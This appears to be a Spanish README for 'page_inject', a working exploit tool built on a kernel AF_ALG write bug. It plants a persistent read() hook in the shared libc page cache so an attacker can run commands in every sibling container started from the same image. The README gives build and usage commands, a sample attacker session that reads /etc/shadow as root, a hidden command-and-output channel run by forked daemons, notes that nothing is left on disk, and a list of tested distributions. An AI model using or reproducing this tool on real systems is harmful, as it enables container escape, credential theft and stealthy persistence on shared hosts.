
CVE-2026-31431-killed page-cache exploit — ejecución de código en contenedores que comparten la misma capa de imagen
Exploit de vulnerabilidad aead AF_ALG entre contenedores -- pivotar desde un contenedor comprometido a todos los contenedores hermanos que comparten la misma capa de imagen libc.so.6.
Esta es una primitiva de escape: se ejecuta desde dentro de un contenedor no privilegiado que el atacante ya ha comprometido, y utiliza el bug de escritura arbitraria de 4 bytes en la rotación ESN de authencesn de AF_ALG (CVE-2026-31431) para plantar un hook persistente de read() en las páginas de caché de página de libc.so.6. Debido a que Docker / containerd respaldan los archivos de la capa inferior de overlayfs con inodos compartidos, esas páginas son visibles para todos los contenedores hermanos instanciados desde la misma imagen -- el hook se activa también en sus procesos, y el atacante obtiene ejecución de comandos dentro de cada uno.
victim) en un host que ejecuta otros contenedores (siblings) desde la misma imagen que victim.victim se ejecuta con la configuración predeterminada de Docker/k8s: uid no privilegiado dentro del namespace de usuario del contenedor, perfil seccomp predeterminado, perfil AppArmor predeterminado, sin capacidades especiales, sin bind mounts del host.victim tiene solo:
/usr/lib/x86_64-linux-gnu/libc.so.6 o donde la distribución la instale)socket(AF_ALG, ...)splice / vmsplicechmod +x (por ejemplo, /tmp)algif_aead + authencesn anterior a la corrección de reversión upstream).Eso es todo. Sin CAP_* especial, sin acceso al sistema de archivos del host. El atacante coloca un binario autocontenido enlazado estáticamente dentro del contenedor, lo ejecuta, y la corrupción de la caché de página -- y por lo tanto el hook -- se vuelve visible para todos los hermanos.
Identidad de página de caché de página. Dentro de un contenedor overlayfs, /usr/lib/.../libc.so.6 es servido por el inodo ext4 de la capa inferior de la imagen. Cada contenedor iniciado desde la misma imagen comparte ese inodo subyacente, y la caché de página del kernel se clavea por el inodo subyacente -- no por el overlay ni por el namespace. Así, una sola escritura de 4 bytes en una página de caché de página es visible para todos los procesos de los contenedores hermanos que tengan esa página mapeada.
La vulnerabilidad aead de AF_ALG convierte una escritura de este tipo en muchas. algif_aead encadena el iovec RX del usuario con los bytes authsize finales del SGL TX empalmado, y la rotación ESN de authencesn coloca 4 bytes del campo seq_high del AAD en dst[assoclen + cryptlen] -- que es el primer byte de esa cola externa encadenada. La página empalmada es una página de caché de página de un archivo al que el atacante solo tiene acceso de lectura, pero el cifrador copia bytes en ella de todos modos, sin contabilidad dirty. (Vea crypto/algif_aead.c y crypto/authencesn.c para la mecánica subyacente.)
Inicialización de una primitiva invocable. Lo primero que hace page_inject es inicializar -- una reimplementación codificada en asm del mismo baile AF_ALG (), colocada dentro de la cueva de libc. Esto hace que la escritura de 4 bytes sea un regular desde dentro de cualquier payload de hook futuro, sin necesidad de configuración de socket por llamada.
El inyector se compila fuera del contenedor víctima -- típicamente en la máquina de desarrollo del atacante -- porque la mayoría de las imágenes de contenedor de producción no incluyen un compilador. Un entorno de desarrollo Linux x86_64 estándar con gcc (con soporte de enlace -static) y nasm es suficiente.
make # assembles .asm sources via gen_arrays.sh, links static page_inject
make shellcode # also produces inspectable .bin flat binaries
make clean # removes generated files and the binary
La salida es un único ELF enlazado estáticamente (./page_inject) que se ejecuta en cualquier kernel Linux x86_64 moderno.
Una vez que el atacante tiene shell en victim, sube el binario a un directorio escribible (típicamente /tmp):
# inside the compromised container, attacker session
victim$ ./page_inject
Sin argumentos, page_inject usa por defecto /usr/lib/x86_64-linux-gnu/libc.so.6 (la ubicación posterior a la fusión en Debian/Ubuntu). Para otras distribuciones, libc está en una ruta diferente; pásala explícitamente o usa --root / para escanear la tabla de búsqueda incorporada desde la raíz del contenedor:
# Fedora / Rocky / CentOS
victim$ ./page_inject /usr/lib64/libc.so.6
# Arch
victim$ ./page_inject /usr/lib/libc.so.6
# Auto-detect, regardless of distro:
victim$ ./page_inject --root /
Cualquiera de las invocaciones hace lo mismo: analizar ELF de libc dentro del contenedor, instalar el hook en su caché de página, monitorear la tabla de slots durante ~30 s mientras los hermanos se registran, y ejecutar un id de una sola vez contra el primer hermano que se registró como verificación de cordura.
Después de la inicialización, ingresa al shell de comandos para manejar cualquier hermano registrado:
victim$ ./page_inject --shell --no-bootstrap
=== page-cache shell ===
Containers (3):
[0] 0x0018598d <- target
[1] 0x001859ab
[2] 0x001859cd
inject:0018598d> exec id
uid=0(root) gid=0(root) groups=0(root)
inject:0018598d> target 0x001859ab
inject:001859ab> exec hostname
1ccd66abee9d
inject:001859ab> exec cat /etc/shadow
root:$6$.....
inject:001859ab> unhook
... read() prologue restored, slot table zeroed ...
unhook limpia el hook de todos los contenedores hermanos de una sola vez y permite que los hijos del hook se autofinalicen.
Usage: page_inject [OPTIONS] [LIBC_PATH]
Options:
--root <prefix> Auto-resolve libc.so.6 under <prefix> using the
built-in fixed-path lookup table. Inside the
victim container that's normally --root / .
--shell [0xKEY] Drop into interactive command shell after
injection. Optional KEY pre-selects the target.
--no-bootstrap Skip injection (shell-only; hook must already
be live in the page cache).
--timeout SEC Slot monitoring timeout in --shell mode
(default 30 s).
--help, -h Show help.
Default libc (when no --root and no LIBC_PATH given):
/usr/lib/x86_64-linux-gnu/libc.so.6
Diferentes compilaciones de glibc dejan diferentes cantidades de espacio de cueva .text entre el segmento LOAD ejecutable y el siguiente LOAD de solo lectura. page_inject selecciona entre dos diseños en el momento de la inyección:
Path A -- solo libc (predeterminado). Tanto Zone C como Zone A residen en la cueva .text de libc. La tabla de slots + áreas CMD + OUTPUT residen en la sección .hash de libc -- datos hash SysV heredados que ld.so no lee en tiempo de ejecución ya que usa .gnu.hash en su lugar. Cuando .hash está ausente (toolchain moderna de Arch), page_inject talla la región de slots de la cola de .eh_frame_hdr en su lugar, después de reducir primero el campo fde_count para que el unwinder ya no considere los bytes liberados como parte del índice de búsqueda binaria de FDE (el unwinder pasa transparentemente a un escaneo lineal de .eh_frame para cualquier IP cuyo FDE solía estar en el rango truncado -- comportamiento exigido por LSB).
Path B -- trampolín de libc + payload de ld.so. Algunas compilaciones de glibc reducen la cueva de libc por debajo del tamaño necesario para el payload completo de Zone C + Zone A (Ubuntu 24.04 / glibc 2.39 incluye una cueva de 711 B). En ese caso, page_inject escribe un trampolín de 36 B en la cueva de libc -- hace la puerta de clave .bss de ruta rápida intra-libc -- y en la ruta lenta calcula la base en tiempo de ejecución de ld.so desde el slot GOT de libc para (un símbolo del lado de ld.so que cada glibc importa privadamente) y salta a una variante de Zone C con registro base en la cueva de . La tabla de slots + CMD + OUTPUT + clave permanecen en libc; la Zone C del lado de ld.so las alcanza a través de después de que el trampolín siembra .
Si ninguno de los diseños encaja, page_inject rechaza limpiamente sin escribir nada a libc o ld.so en disco o en la caché de página.
read()Diferentes versiones de glibc emiten diferentes secuencias de apertura en read(). El inyector reconoce cada una, lee los bytes que el hook desplaza, y los emula en la ruta rápida de Zone C para que read() de un solo hilo se reanude correctamente en read+N:
El slot de emulación de ruta rápida en Zone C tiene el tamaño para el prólogo conocido más largo (8 bytes) más el jmp rel32 de 5 bytes; los prólogos más cortos llenan el byte final del slot con un relleno NOP para que la longitud total del slot sea constante.
page_inject/
page_inject.c Inyector principal: análisis ELF, primitiva de vulnerabilidad, selección de diseño de ruta dual, inyección + deshacer.
zone_c.asm Shellcode del despachador de hook Path-A.
zone_c_ld.asm Shellcode del despachador de hook Path-B (variante de base rbp).
trampoline.asm Stub de 36 bytes del lado de libc Path-B.
write_cache.asm Zone A (shellcode de primitiva de escritura de vulnerabilidad).
gen_arrays.sh Ensambla .asm -> asm_bytecode.c.
asm_bytecode.c [generado] arreglos de bytes de shellcode.
Makefile Sistema de compilación.
El exploit ha sido verificado de extremo a extremo en las siguientes distribuciones snap de contenedor. Cada entrada ha tenido page_inject inyectado desde dentro de un contenedor y ha visto su hook activarse en un contenedor hermano iniciado desde la misma imagen; los comandos se ejecutaron correctamente a través del canal de caché de página; y unhook restauró limpiamente el estado de página de libc.
page_inject está enlazado estáticamente deliberadamente para que el propio proceso del atacante no se vea afectado por el hook que instala.page_inject reconoce una libc "ya enganchada" (E9 + nops en el prólogo de read()) y se niega a reinyectar. Si estás en un entorno de prueba y tu caché de página está atascada en ese estado, detén todos los contenedores que usen la imagen y ejecuta drop_caches para reiniciar.write_cache.asm.textcallInstalación del hook. El inyector luego escribe Zone C (zone_c.asm) en la cueva .text de libc y parchea los primeros 7-12 bytes de read() con un salto E9 disp32 hacia ella. Los bytes desplazados del prólogo se emulan fielmente en la ruta rápida de Zone C (se reconocen tres prólogos diferentes de glibc -- vea "Manejo de prólogos" más abajo). El hook ahora está activo en la caché de página de libc.
Propagación del hook. Cada contenedor hermano ejecuta procesos que llaman a read() constantemente (demonios de registro, healthchecks, cat /etc/hostname, cualquier cosa). En la primera llamada de este tipo dentro de un contenedor hermano, el prólogo secuestrado salta a Zone C, que:
stat("/") del inodo raíz del contenedor (un ID estable por namespace), lo usa como clave del slot del contenedor,fork() de un hijo de bucle de comandos de larga duración que sondea el área CMD en busca de órdenes,read()+N para que el llamante no se dé cuenta.
El proceso hermano original sigue ejecutándose. A partir de ahora, el atacante tiene un demonio dentro de ese contenedor.Canal de comandos. El atacante usa el mismo binario page_inject en modo --shell para escribir comandos en el área CMD de la región de slots. El hijo del hook de cada contenedor hermano registrado sondea, hace fork de /bin/sh -c <cmd>, captura stdout/stderr en el área OUTPUT, señala finalización, y vuelve a sondear. El shell muestra la salida. Debido a que cada escritura CMD/OUTPUT también pasa por la primitiva de la vulnerabilidad, no se necesita ningún privilegio especial.
Deshacer hook. Cuando se termina, unhook restaura los bytes originales del prólogo de read() y pone a cero la tabla de slots; los hijos del hook ven un slot vacío en su próxima iteración y se autofinalizan. Las modificaciones de la caché de página en sí son limpias (el kernel nunca marcó las páginas modificadas como dirty), así que una vez que se detienen todos los contenedores que tienen libc mapeada, un drop_caches revierte completamente la caché -- no queda ningún artefacto en disco.
_rtld_global.text.bssrbp + offsetrbp = libc_base| Rango de glibc | Prólogo (después de endbr64 opcional) | Notas |
|---|
| 2.36 / 2.39 | cmpb $0x0, __libc_single_threaded(%rip) | 7 bytes; cmpb emulado establece ZF para el jne .Lthreaded original. |
| 2.43 | push rbp; movsxd rdi,edi; xor r9d,r9d | 7 bytes; emulado byte por byte. |
| 2.31 / 2.35 | mov eax, fs:[0x18] | 8 bytes; emulado byte por byte (el [disp32] con prefijo FS es absoluto, no relativo a RIP, por lo que la copia de bytes es fiel). |
| Imagen | glibc | Ruta de inyección | Prólogo de read() | Región de slot |
|---|
debian:bookworm | 2.36 | A | cmpb | .hash |
ubuntu:24.04 | 2.39 | B | cmpb | .hash (abordado via rbp desde ld.so) |
ubuntu:22.04 | 2.35 | A | TLS-fs | .hash |
fedora:40 | 2.39 | A | cmpb | .hash |
archlinux:latest | 2.43 | A | push-rbp | .eh_frame_hdr (cola truncada) |